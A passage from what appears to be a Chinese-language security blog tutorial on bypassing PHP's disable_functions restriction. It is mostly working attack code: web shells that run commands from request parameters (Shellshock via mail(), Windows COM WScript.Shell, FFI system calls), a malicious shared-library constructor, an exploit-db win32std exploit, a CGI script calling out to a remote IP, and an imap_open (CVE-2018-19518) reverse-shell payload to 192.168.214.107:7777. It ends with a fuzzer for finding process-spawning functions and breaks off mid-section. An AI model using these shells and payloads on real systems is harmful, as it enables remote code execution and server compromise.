class="keyword">if</span>(strstr(readlink(<span class="string">"/bin/sh"</span>), <span class="string">"bash"</span>) != <span class="keyword">FALSE</span>) &#123;</span><br><span class="line">     $tmp = tempnam(<span class="string">"."</span>,<span class="string">"data"</span>);</span><br><span class="line">     putenv(<span class="string">"PHP_LOL=() &#123; x; &#125;; $cmd &gt;$tmp 2&gt;&amp;1"</span>);</span><br><span class="line">     <span class="comment">// In Safe Mode, the user may only alter environment variables whose names</span></span><br><span class="line">     <span class="comment">// begin with the prefixes supplied by this directive.</span></span><br><span class="line">     <span class="comment">// By default, users will only be able to set environment variables that</span></span><br><span class="line">     <span class="comment">// begin with PHP_ (e.g. PHP_FOO=BAR). <span class="doctag">Note:</span> if this directive is empty,</span></span><br><span class="line">     <span class="comment">// PHP will let the user modify ANY environment variable!</span></span><br><span class="line">     mail(<span class="string">"a@127.0.0.1"</span>,<span class="string">""</span>,<span class="string">""</span>,<span class="string">""</span>,<span class="string">"-bv"</span>); <span class="comment">// -bv so we don't actually send any mail</span></span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">return</span> <span class="string">"Not vuln (not bash)"</span>;</span><br><span class="line">   $output = @file_get_contents($tmp);</span><br><span class="line">   @unlink($tmp);</span><br><span class="line">   <span class="keyword">if</span>($output != <span class="string">""</span>) <span class="keyword">return</span> $output;</span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">return</span> <span class="string">"No output, or not vuln."</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> shellshock($_REQUEST[<span class="string">"cmd"</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="5-PHP-FPM-FastCGI-bypass-disable-functions"><a href="#5-PHP-FPM-FastCGI-bypass-disable-functions" class="headerlink" title="5. PHP-FPM/FastCGI bypass disable_functions"></a>5. PHP-FPM/FastCGI bypass disable_functions</h3><p>​    大家都知道。Web Server 只是负责分发数据，那如果 Nginx 遇到 php 动态请求该怎么处理，这时就需要了解 PHP-FPM 和 FastCGI 了</p><p>​    FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议。FastCGI 是早期的通用网关接口（CGI）的变体。FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销，从而使服务器可以一次处理更多的网页请求。</p><p>​    PHP-FPM（ FastCGI 进程管理器）是另一种 PHP FastCGI 实现，具有一些其他功能，可用于各种规模的站点，尤其是繁忙的站点。PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序，php-cgi 作为 PHP 自带的解释器，只是个 CGI 程序，除了解析请求返回结果之外，并不能管理进程，也就无法做到修改 php.ini 配置文件后平滑重启</p><p>​    即 FastCGI 是 CGI 协议的升级版，用于封装 webserver 发送给 php 解释器的数据，通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据，返回结果给 webserver</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis7.png" alt></p><p>​    PHP5.3 版本之后，PHP-FPM 是内置于 PHP 的，一般来说，尤其是在高并发的情况下，nginx + PHP-FPM 的组合要比 apache + mod_php 好很多</p><p>那么伪造请求发送给 PHP-FPM 不就可以任意代码执行</p><p>脚本：<a href="https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75" target="_blank" rel="noopener">https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75</a></p><p>本地测试</p><p><code>python fpm.py -c &#39;&lt;?php echo `id`;exit;?&gt;&#39; -p 9999 127.0.0.1 /var/www/html/test.php</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis8.png" alt></p><h3 id="6-Windows-系统组件-COM"><a href="#6-Windows-系统组件-COM" class="headerlink" title="6. Windows 系统组件 COM"></a>6. Windows 系统组件 COM</h3><p>​    COM（Component Object Model）组件对象模型，是一种跨应用和语言共享二进制代码的方法。COM 可以作为 DLL 被本机程序载入也可以通过 DCOM 被远程进程调用</p><p><code>C:\Windows\System32</code> 下的 wshom.ocx 能够提供 WshShell 对象和 WshNetwork 对象接口的访问，也就是提供对本地 Windows shell 和计算机所连接的网络上共享资源的访问</p><p>php.ini 中开启 <code>com.allow_dcom</code></p><p><code>com.allow_dcom = true</code></p><p>因为是在 Windows，如果在拓展文件夹 php/ext/ 中存在 php_com_dotnet.dll</p><p>到 php.ini 中开启拓展</p><p><code>extension=php_com_dotnet.dll</code></p><p>重启服务在 phpinfo 中就能看到开启了 com_dotnet</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$command = $_GET[<span class="string">'cmd'</span>];</span><br><span class="line">$wsh = <span class="keyword">new</span> COM(<span class="string">'WScript.shell'</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">"Create Wscript.Shell Failed!"</span>);</span><br><span class="line">$exec = $wsh-&gt;exec(<span class="string">"cmd /c"</span>.$command); <span class="comment">//调用对象方法来执行命令</span></span><br><span class="line">$stdout = $exec-&gt;StdOut();</span><br><span class="line">$stroutput = $stdout-&gt;ReadAll();</span><br><span class="line"><span class="keyword">echo</span> $stroutput;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>使用上面的 PHP 代码通过 COM 对象的 exec() 方法即可绕过 disable_functions 执行命令</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis9.png" alt></p><h3 id="7-PHP-5-2-3-win32std-extension-safe-mode-and-bypass-disable-functions"><a href="#7-PHP-5-2-3-win32std-extension-safe-mode-and-bypass-disable-functions" class="headerlink" title="7. PHP 5.2.3 win32std extension safe_mode and bypass disable_functions"></a>7. PHP 5.2.3 win32std extension safe_mode and bypass disable_functions</h3><p>这个貌似比较古老了 <a href="https://www.exploit-db.com/exploits/4218" target="_blank" rel="noopener">https://www.exploit-db.com/exploits/4218</a></p><p>exploit-db 上的 exp</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//author: shinnai</span></span><br><span class="line"><span class="comment">//mail: shinnai[at]autistici[dot]org</span></span><br><span class="line"><span class="comment">//site: http://shinnai.altervista.org</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//Tested on xp Pro sp2 full patched, worked both from the cli and on apache</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//Thanks to rgod for all his precious advises :)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//I set php.ini in this way:</span></span><br><span class="line"><span class="comment">//safe_mode = On</span></span><br><span class="line"><span class="comment">//disable_functions = system</span></span><br><span class="line"><span class="comment">//if you launch the exploit from the cli, cmd.exe will be wxecuted</span></span><br><span class="line"><span class="comment">//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!extension_loaded(<span class="string">"win32std"</span>)) <span class="keyword">die</span>(<span class="string">"win32std extension required!"</span>);</span><br><span class="line">system(<span class="string">"cmd.exe"</span>); <span class="comment">//just to be sure that protections work well</span></span><br><span class="line">win_shell_execute(<span class="string">"..\\..\\..\\..\\windows\\system32\\cmd.exe"</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="8-FFI-绕过-disable-functions"><a href="#8-FFI-绕过-disable-functions" class="headerlink" title="8. FFI 绕过 disable_functions"></a>8. FFI 绕过 disable_functions</h3><p>PHP7.4 的一个新特性 FFI（Foreign Function Interface），即外部函数接口，可以让我们在 PHP 中调用 C 代码</p><p>建议在 Docker 中进行测试</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">apt-get install libffi-dev</span><br><span class="line"></span><br><span class="line">docker-php-ext-install ffi</span><br></pre></td></tr></table></figure><p>通常使用 FFI::cdef 创建一个新的 FFI 对象，下面是官方说明</p><p><code>public static FFI::cdef ([ string $code = &quot;&quot; [, string $lib ]] ) : FFI</code></p><blockquote><p>Parameters</p><p>code</p><p>A string containing a sequence of declarations in regular C language (types, structures, functions, variables, etc). Actually, this string may be &gt; copy-pasted from C header files.</p><p>Note:</p><p>C preprocessor directives are not supported, i.e. #include, #define and CPP macros do not work.</p><p>lib</p><p>The name of a shared library file, to be loaded and linked with the definitions.</p><p>Note:</p><p>If lib is omitted, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope. Other systems will fail to &gt; resolve these symbols.</p></blockquote><p>那如何执行系统命令呢，使用 FFI::cdef 声明一个 system 函数使用就可以了， <code>man system</code> 查看 system 函数说明，直接复制就好</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">$ffi = FFI::cdef(</span><br><span class="line">    <span class="string">"int system(const char *command);"</span>,</span><br><span class="line">    <span class="string">"libc.so.6"</span>);</span><br><span class="line"></span><br><span class="line">$ffi-&gt;system(<span class="string">"id"</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>成功执行</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis11.png" alt></p><p>​    这里如果只定义 system 函数而省略 libc.so.6 同样也是可以执行命令的，支持 RTLD_DEFAULT 的平台将尝试在常规全局范围内查找在代码中声明的符号</p><p>​    当我们只能控制 FFI::cdef 函数的 lib 参数的时候，FFI::cdef 函数还可以加载我们自定义的动态链接库，但是需要填写绝对路径，否则会无法加载，比如</p><p>ffi.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">$ffi = FFI::cdef(</span><br><span class="line">        <span class="string">"int system(const char *command);"</span>,</span><br><span class="line">        <span class="string">"/var/www/html/bad.so"</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>bad.c</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line">__attribute__((constructor)) <span class="function"><span class="keyword">void</span> <span class="title">j0k3r</span><span class="params">()</span></span>&#123;</span><br><span class="line">    system(<span class="string">"echo Hacked &amp;&amp; id"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>只要加载编译好的 bad.so 即可执行恶意代码</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis12.png" alt></p><h3 id="9-Apache-mod-cgi-修改-htaccess-绕过限制"><a href="#9-Apache-mod-cgi-修改-htaccess-绕过限制" class="headerlink" title="9. Apache mod_cgi 修改 .htaccess 绕过限制"></a>9. Apache mod_cgi 修改 .htaccess 绕过限制</h3><p>有几个利用条件</p><ol><li>Apache 开启 AllowOverride</li><li>开启 cgi_module</li><li>.htaccess 文件可写</li><li>cgi 程序可执行</li></ol><p>本地测试环境推荐使用 Docker，会比较最方便</p><p><code>docker pull bronsonbdevost/cgi-web-server</code></p><p>默认 cgi 目录在 /usr/local/apache2/cgi-bin，配置文件位于 /usr/local/apache2/conf/httpd.conf</p><p>默认没有 PHP，安装</p><p><code>apt-get install php5-common libapache2-mod-php5</code></p><p>安装 libsqlite3-0 404 的话可以到网站下载</p><p><a href="https://packages.debian.org/zh-cn/jessie/amd64/libsqlite3-0/download" target="_blank" rel="noopener">https://packages.debian.org/zh-cn/jessie/amd64/libsqlite3-0/download</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget http://security.debian.org/debian-security/pool/updates/main/s/sqlite3/libsqlite3-0_3.8.7.1-1+deb8u4_amd64.deb</span><br><span class="line"></span><br><span class="line">dpkg -i libsqlite3-0_3.8.7.1-1+deb8u4_amd64.deb</span><br></pre></td></tr></table></figure><p>添加 php5 模块配置文件</p><p><code>cp /etc/apache2/mods-available/php5.conf.dpkg-new conf/extra/php5_module.conf</code></p><p>修改 httpd.conf </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">AddHandler php5-script php</span><br><span class="line">LoadModule php5_module /usr/lib/apache2/modules/libphp5.so</span><br><span class="line"></span><br><span class="line">Include conf/extra/php5_module.conf</span><br></pre></td></tr></table></figure><p>重启 Apache</p><p><code>/usr/local/apache2/bin/apachectl restart</code></p><p>模拟写入恶意 .htaccess 文件，添加后缀 .sh </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Options +ExecCGI</span><br><span class="line">AddHandler cgi-script .sh</span><br></pre></td></tr></table></figure><p>上传 sh 文件，浏览器访问即可执行其中的命令</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"Content-type: text/html"</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"Hello, Shell"</span></span><br><span class="line">curl 192.168.214.107:7777</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis13.png" alt></p><h3 id="10-利用-PHP-bug-Bypass-disable-functions"><a href="#10-利用-PHP-bug-Bypass-disable-functions" class="headerlink" title="10. 利用 PHP bug Bypass disable_functions"></a>10. 利用 PHP bug Bypass disable_functions</h3><p>利用两个 PHP 历史漏洞来绕过 disable_functions</p><p>Exploits ：</p><p><a href="https://github.com/mm0r1/exploits" target="_blank" rel="noopener">https://github.com/mm0r1/exploits</a></p><h4 id="1-Use-after-free-with-json-serializer"><a href="#1-Use-after-free-with-json-serializer" class="headerlink" title="(1) Use after free with json serializer"></a>(1) Use after free with json serializer</h4><p><a href="https://bugs.php.net/bug.php?id=77843" target="_blank" rel="noopener"></a></p><ul><li>适用目标：<ul><li>7.1 - all versions to date</li><li>7.2 &lt; 7.2.19 (released: 30 May 2019)</li><li>7.3 &lt; 7.3.6 (released: 30 May 2019)</li></ul></li></ul><p>php-json-bypass</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis14.png" alt></p><h4 id="2-Use-After-Free-in-GC-with-Certain-Destructors"><a href="#2-Use-After-Free-in-GC-with-Certain-Destructors" class="headerlink" title="(2) Use After Free in GC with Certain Destructors"></a>(2) Use After Free in GC with Certain Destructors</h4><p><a href="https://bugs.php.net/bug.php?id=72530" target="_blank" rel="noopener">https://bugs.php.net/bug.php?id=72530</a></p><ul><li>适用目标：<ul><li>7.0 - all versions to date</li><li>7.1 - all versions to date</li><li>7.2 - all versions to date</li><li>7.3 - all versions to date</li></ul></li></ul><p>php7-gc-bypass</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis15.png" alt></p><p>测试在 ubuntu16.04 + PHP 7.1.33 的环境下两个 exp 都是可以正常使用的，但如果是在 Docker 或者是其他环境下那就不一定了</p><h3 id="11-PHP-imap-open-RCE-漏洞-（CVE-2018-19518）"><a href="#11-PHP-imap-open-RCE-漏洞-（CVE-2018-19518）" class="headerlink" title="11. PHP imap_open RCE 漏洞 （CVE-2018-19518）"></a>11. PHP imap_open RCE 漏洞 （CVE-2018-19518）</h3><p>要求 PHP 安装 imap 模块</p><p>反弹 shell payload：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$payload = <span class="string">"/bin/bash -i &gt;&amp; /dev/tcp/192.168.214.107/7777 0&gt;&amp;1"</span>;</span><br><span class="line">$base64 = base64_encode($payload);</span><br><span class="line">$server = <span class="string">"any -oProxyCommand=echo\t&#123;$base64&#125;|base64\t-d|bash"</span>;</span><br><span class="line">@imap_open(<span class="string">"&#123;"</span>.$server.<span class="string">"&#125;:143/imap&#125;INBOX"</span>,<span class="string">""</span>,<span class="string">""</span>);</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis17.png" alt></p><h3 id="一些利用工具"><a href="#一些利用工具" class="headerlink" title="一些利用工具"></a>一些利用工具</h3><p>1.Bypass disable_functions 工具:</p><p><a href="https://github.com/l3m0n/Bypass_Disable_functions_Shell" target="_blank" rel="noopener">https://github.com/l3m0n/Bypass_Disable_functions_Shell</a></p><p>2.AntSword 绕过 PHP disable_functions 插件:</p><p><a href="https://github.com/Medicean/as_bypass_php_disable_functions" target="_blank" rel="noopener">antsword bypass PHP disable_functions</a></p><p><a href="https://0xdf.gitlab.io/2019/08/02/bypassing-php-disable_functions-with-chankro.html" target="_blank" rel="noopener">3.Chankro:</a></p><p><a href="https://github.com/TarlogicSecurity/Chankro" target="_blank" rel="noopener">https://github.com/TarlogicSecurity/Chankro</a></p><h2 id="0x02-Fuzz-挖掘含内部系统调用的函数"><a href="#0x02-Fuzz-挖掘含内部系统调用的函数" class="headerlink" title="0x02 Fuzz 挖掘含内部系统调用的函数"></a>0x02 Fuzz 挖掘含内部系统调用的函数</h2><p>​    主要是指使用 LD_PRELOAD 这种方式绕过 disable_functions 的时候，需要满足一个条件，就是使用的 php 函数需要在内部调用 execve 等系统功能开启一个新进程</p><p>​    那怎么知道到底哪些函数可以满足这种绕过方法呢，之前看到有一篇国外的文章 <a href="https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/" target="_blank" rel="noopener">Fuzzer gets us new functions to bypass PHP disable_functions</a> ，文中讲了如何使用 Fuzz 获得这一类 php 函数</p><p>​    大体思路就是尽可能多的安装 php 的各种模块，增加 php 内部定义的函数数量，然后确定每个函数所需要的参数个数范围，接着输入参数，运行函数，strace 查看是否有 execve 系统调用的行为发生</p><p>​    在获取函数的参数信息方面，使用的是 php 的函数反射类——ReflectionFunction，getNumberOfRequiredParameters() getNumberOfParameters() 方法分别获取函数的最小和最大参数个数，原文中直接使用报错信息判断参数个数未免不够优雅</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/image-20200131192719453.png" alt="image-20200131192719453"></p><p>​    参数数目确定了，接着就是数据类型，但是每个参数的类型都不一定相同</p><p>​    其实 ReflectionParameter 类的 getClass() 方法能获得类型提示类，getType() 直接获取参数类型，但是这个用在用户自定义函数的参数上还行，对于内部函数来说返回值都是 NULL，基本用不了。举个例子</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/image-20200131195140178.png" alt="image-20200131195140178"></p><p>​    如图，用户自定义函数 foo 能够通过反射直接获得一个 <strong>ReflectionNamedType</strong>类，getName() 得到参数类型，比较迷的是 php 官方文档上写的是 ReflectionType，具体见： <a href="https://www.php.net/manual/zh/class.reflectionparameter.php" target="_blank" rel="noopener">PHP: ReflectionParameter - Manual</a>这一页，而搜索 ReflectionNamedType 得到的却是 <a href="https://www.php.net/manual/zh/class.reflectionnamedtype" target="_blank" rel="noopener">404</a>，看来 php 在反射这方面的文档还没有完善</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/image-20200131195807351.png" alt="image-20200131195807351"></p><p>但是 php 作为一个弱类型语言这时候就凸显了它的优势，很多 php 函数本身就是  mixed 类型，而且 php 还会自动进行类型转换</p><p>像 ‘1../../../../../../../../../etc/passwd’ 这种参数就能同时满足 string、int、file、bool 四种类型，基本满足绝大部分函数了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/image-20200131032400498.png" alt="image-20200131032400498"></p><p>​    感觉原文那代码处理的不太好，还有 bug，自己写了一个，加了个可以 fuzz 指定 php 模块的功能，比如安装了 gnupg 拓展，可以 Fuzz 该模块下的所有函数，方便测试</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding: utf-8</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getAllDefinedFunc</span><span class="params">()</span>:</span></span><br><span class="line">    get_defined_function = os.popen(<span class="string">"php -r 'print_r(get_defined_functions()[\"internal\"]);'"</span>).readlines()</span><br><span class="line">    <span class="comment">#print get_defined_function</span></span><br><span class="line">    b = get_defined_function[<span class="number">2</span>:<span class="number">-1</span>]</span><br><span class="line">    b = map(str.strip, b)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(len(b)):</span><br><span class="line">        b[i] = re.sub(<span class="string">r'.*&gt; '</span>, <span class="string">''</span>, b[i])</span><br><span class="line">    get_defined_function = b<span class="comment"># all defined PHP functions</span></span><br><span class="line">    get_defined_function.remove(get_defined_function[<span class="number">0</span>])</span><br><span class="line">    get_defined_function.remove(get_defined_function[<span class="number">0</span>])</span><br><span class="line">    get_defined_function.remove(<span class="string">'readline'</span>)</span><br><span class="line">    <span class="keyword">return</span> get_defined_function</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getModuleFunc</span><span class="params">(phpModuleName,getDefinedFunction)</span>:</span></span><br><span class="line">    moduleFunc = []</span><br><span class="line">    <span class="keyword">for</span> func <span class="keyword">in</span> getDefinedFunction:</span><br><span class="line">        getExtNameCmd = <span class="string">"php -r \"echo (new ReflectionFunction('&#123;&#125;'))-&gt;getExtensionName();\""</span>.format(func)</span><br><span class="line">        extName = os.popen(getExtNameCmd).readlines()[<span class="number">0</span>]</span><br><span class="line">        <span class="keyword">if</span> extName == phpModuleName:</span><br><span class="line">            moduleFunc.append(func)</span><br><span class="line">    <span class="keyword">return</span> moduleFunc</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fuzzFunc</span><span class="params">(getDefinedFunction)</span>:</span></span><br><span class="line">    <span class="keyword">for</span> func <span class="keyword">in</span> getDefinedFunction:</span><br><span class="line">        maxParaNumCmd = <span class="string">"php -r \"echo (new ReflectionFunction('&#123;&#125;'))-&gt;getNumberOfParameters();\""</span>.format(func)</span><br><span class="line">        minParaNumCmd = <span class="string">"php -r \"echo (new ReflectionFunction('&#123;&#125;'))-&gt;getNumberOfRequiredParameters();\""</span>.format(func)</span><br><span class="line">        maxParaNum = int(os.popen(maxParaNumCmd).readlines()[<span class="number">0</span>])</span><br><span class="line">        minParaNum = int(os.popen(minParaNumCmd).readlines()[<span class="number">0</span>])</span><br><span class="line">        <span class="keyword">print</span> maxParaNum</span><br><span class="line">        <span class="keyword">print</span> minParaNum</span><br><span class="line">        <span class="keyword">for</span> paraNum <span class="keyword">in</span> range(minParaNum,maxParaNum + <span class="number">1</span>):</span><br><span class="line">            paraMeters = [<span class="string">'\'1../../../../../../../../../etc/passwd\''</span> <span class="keyword">for</span> i <span class="keyword">in</span> range(paraNum)]</span><br><span class="line">            paraMeters = <span class="string">','</span>.join(paraMeters)</span><br><span class="line">            newPhpCmd = <span class="string">"php -r \"&#123;&#125;(&#123;&#125;);\""</span>.format(func,paraMeters)</span><br><span class="line">            <span class="keyword">print</span> newPhpCmd</span><br><span class="line">            newFuzzCmd = <span class="string">"strace -f &#123;&#125; 2&gt;&amp;1 | grep -E 'execve|fork|vfork'"</span>.format(newPhpCmd)</span><br><span class="line">            <span class="keyword">print</span> newFuzzCmd</span><br><span class="line">            out = re.findall(<span class="string">r'execve'</span>, <span class="string">''</span>.join(os.popen(newFuzzCmd).readlines()[<span class="number">1</span>:]))</span><br><span class="line">            <span class="keyword">print</span> out</span><br><span class="line">            <span class="keyword">if</span> len(out) &gt;= <span class="number">1</span>:</span><br><span class="line">                <span class="keyword">with</span> open(<span class="string">'fuzz-out.txt'</span>,<span class="string">'a+'</span>) <span class="keyword">as</span> file:</span><br><span class="line">                    file.write(newPhpCmd + <span class="string">"\n"</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    <span class="keyword">if</span> len(sys.argv) &gt; <span class="number">1</span>:</span><br><span class="line">        phpModuleName = sys.argv[<span class="number">1</span>]</span><br><span class="line">        getDefinedFunction = getAllDefinedFunc()</span><br><span class="line">        moduleFunc = getModuleFunc(phpModuleName,getDefinedFunction)</span><br><span class="line">        <span class="keyword">if</span> len(moduleFunc) == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">print</span> (<span class="string">'没有找到与指定模块相关的函数，检查名称是否正确'</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment">#print moduleFunc</span></span><br><span class="line">            fuzzFunc(moduleFunc)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">print</span> (<span class="string">'fuzz all'</span>)</span><br><span class="line">        getDefinedFunction = getAllDefinedFunc()</span><br><span class="line">        fuzzFunc(getDefinedFunction)</span><br></pre></td></tr></table></figure><p>Fuzz 测试结果：</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/fuzz-1.png" alt="fuzz-1"></p><p>单一模块 Fuzz 结果：</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/image-20200131201820976.png" alt="image-20200131201820976"></p><p>这种方式可以用于发现新的可用于 bypass 的函数，或者用来检测安全过滤够不够严格</p><h3 id="利用-OPcache-执行命令"><a href="#利用-OPcache-执行命令" class="headerlink" title="利用 OPcache 执行命令"></a>利用 OPcache 执行命令</h3><p><strong>注</strong>：<strong>OPcache 不能饶过 disable_functions</strong>，它调用内部函数或方法时仍然会被限制</p><p>OPcache 通过将 PHP 脚本预编译的字节码（Operate Code）存储到共享内存中来提升 PHP 的性能</p><p>如果我们知道 OPcache 的缓存路径，就可以通过替换缓存文件来直接执行系统命令</p><p>首先是要求 PHP 开启了 OPcache，下面是 php.ini 中的 OPcache 常规配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[opcache]</span><br><span 